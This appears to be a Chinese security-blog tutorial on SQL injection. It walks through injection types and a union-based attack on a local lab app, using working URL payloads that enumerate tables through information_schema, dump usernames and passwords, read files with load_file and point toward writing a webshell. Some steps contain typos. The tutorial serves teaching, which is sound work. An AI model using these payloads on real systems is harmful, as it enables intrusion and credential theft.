SQL注入原理
参数用户可控:从前端传给后端的参数内容是用户可以控制的参数带入数据库查询:传入的参数拼接到SQL语句,且带入数据库查询,当用户传入参数为1'的时候在数据库执行如下方所示。字符型注入原理当我在用户可控处输入' 时SQL会报错说明可能存在SQL注入
正确的整形SQL查询语句:select * FROM users where id=1
错误的整形SQL查询语句:select * FROM userswhere id=1'
正确的字符查询:select * FROM users where id='1'
错误的字符查询:select * FROM users where id='1''
使用and与运算进行判断SQL注入当用户传入参数为1 and 1=1
(1)因为1=1 为真 id=1 也是为真,没毛病当and两边都为真时,页面会返回id=1 的结果(2)因为 1=2 为假 id=1为真 当两边有一个为假,页面才会返回与id=1不一样的结果,如下:SQL语句:select * FROM users where id=1 and 1=1
SQL语句:select * FROM users where id=1 and 1=2
SQL有三种注释符:-- , /* */ , #
SQL注入流程:是否存在注入(和判断注入类型)->判断字段数: oorder by -> 确定回显点:unin select1,2 ->查询数据库信息:@@version -> 查询用户名,数据库名:user() database() -> 文件读取:union select 1,load_file(‘C:\\woondws\\win.ini’)# -> 写入webshell
注意:使用 sql 注入遇到转义字符串的单引号或者双引号,可使用HEX编码绕过注入数据类型:int 整型: select * from users where id=1 sting
字符型: select * from users where username='admin' like
int 整型: select * from users where id=1 sting
搜索型: select * from news where title like '%标题%'
这样就可以让攻击者判断是否存在注入,可以接着拼接SQL攻击语句或者使用扫描器如:sqlmap进行注入,获取服务器信息和权限。
union联合查询原理
(1)#order by判断字段多少
SELECT * FROM users WHERE user_id=1 ORDER BY 8
(2)# union select 1,…判断字段多少
SELECT * FROM users where user_id=1 union SELECT 1,2,3,4,5,6,7,8
(3)# 查询guestbook表,条件 comment_id=null(null和-1表示显示第一行),union select database(将字段提替换成函数如:database(),user(),version()
select * from guestbook WHERE comment_id=null union select database(),user(),version()
(4)#查询guestbook表,union select查询(该三个字段:
1,
user,
password)users里面的
select * from guestbook WHERE comment_id=null UNION SELECT 1,user,password from users
如果没有加上 limit 限定条数会把所有内容查询出来,所以都会加上limit 1 限定
SELECT * FROM guestbook WHERE comment_id=1 union select user_id,user,password from users limit 1
union联合注入攻击
(1)判断SQL注入如下靶场判断,当我输入1还有1’and ‘1’=’1时则显示出账号密码
当我输入:1‘和1’and ‘1’=’1’时则报错
原因是当1‘和1’and ‘1’=’1’传入SQL语句拼接是导致SQL语句错误
正确SQL语句:
SELECT first_name, last_name FROM users WHERE user_id = '1';
错误SQL语句:
SELECT first_name, last_name FROM users WHERE user_id = '1’';
(2)判断字段数现在已经判断出可能存在字符型注入,接下来就要进行判断字段数了通过判断只有字段数为2是在返回页面正常注意:在url中注释符是使用:--+(+号代表空格)
(3)联合查询注入获取敏感信息已经得知字段数为2,接下来准备注入确证字段是否可行
http://192.168.0.115/01/vulnerabilities/sqli/?id=-'union select 1,2--+&Submit=Submit#
返回结果正常:
将字段改成其它的如:MD5(1),database()等等
http://192.168.0.115/01/vulnerabilities/sqli/?id=-'union select 1,md5(1)--+&Submit=Submit#
返回结果:
获取数据库版本:version()
http://192.168.0.115/01/vulnerabilities/sqli/?id=-1'union select 1,version()--+&Submit=Submit#
获取当前库:database()
http://192.168.0.115/01/vulnerabilities/sqli/?id=-1'union select 1,database()--+&Submit=Submit#
获取当前用户:user()
http://192.168.0.115/01/vulnerabilities/sqli/?id=-1'union select 1,user()--+&Submit=Submit#
使用:group_concat()将其它函数一起使用在,后加上:0x3a可以变成;
http://192.168.0.115/01/vulnerabilities/sqli/?id=-1'union select 1,group_concat(database(),user(),version())--+&Submit=Submit#
(4)通过联合查询注入通过 information_schema获取表
在黑盒情况下不知道当前数据库有什么表的可以通过MySQL自带的
information_schema 查询当前的表
查询当前库的表 limit 1 相当于 limit 1,1 表示显示第一个1 改成2 就是第二个如此类推主要使用子查询:
(select TABLE_NAME from information_schema.TABLES whereTABLE_SCHEMA=database() limit 1)
http://192.168.0.115/01/vulnerabilities/sqli/?id=-1' union select 1,(select TABLE_NAME from information_schema.TABLES whereTABLE_SCHEMA=database() limit 1)--+&Submit=Submit#
(5)通过联合查询表里的内容
获取内容子查询:
(select group_concat(user,0x3a,password) from users limit 1)
当然SQL注入不止只有联合查询还有很多种注入方式呢大家可以一起讨论。
总结:本次注意是带领不理解SQL注入的同学们理解SQL注入原理和攻击,下期会发有关渗透测试和漏洞挖掘的文章。声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果。————————————————
本关注公众号“重生者安全团队”
回复:【SQL注入语句】获取下载链接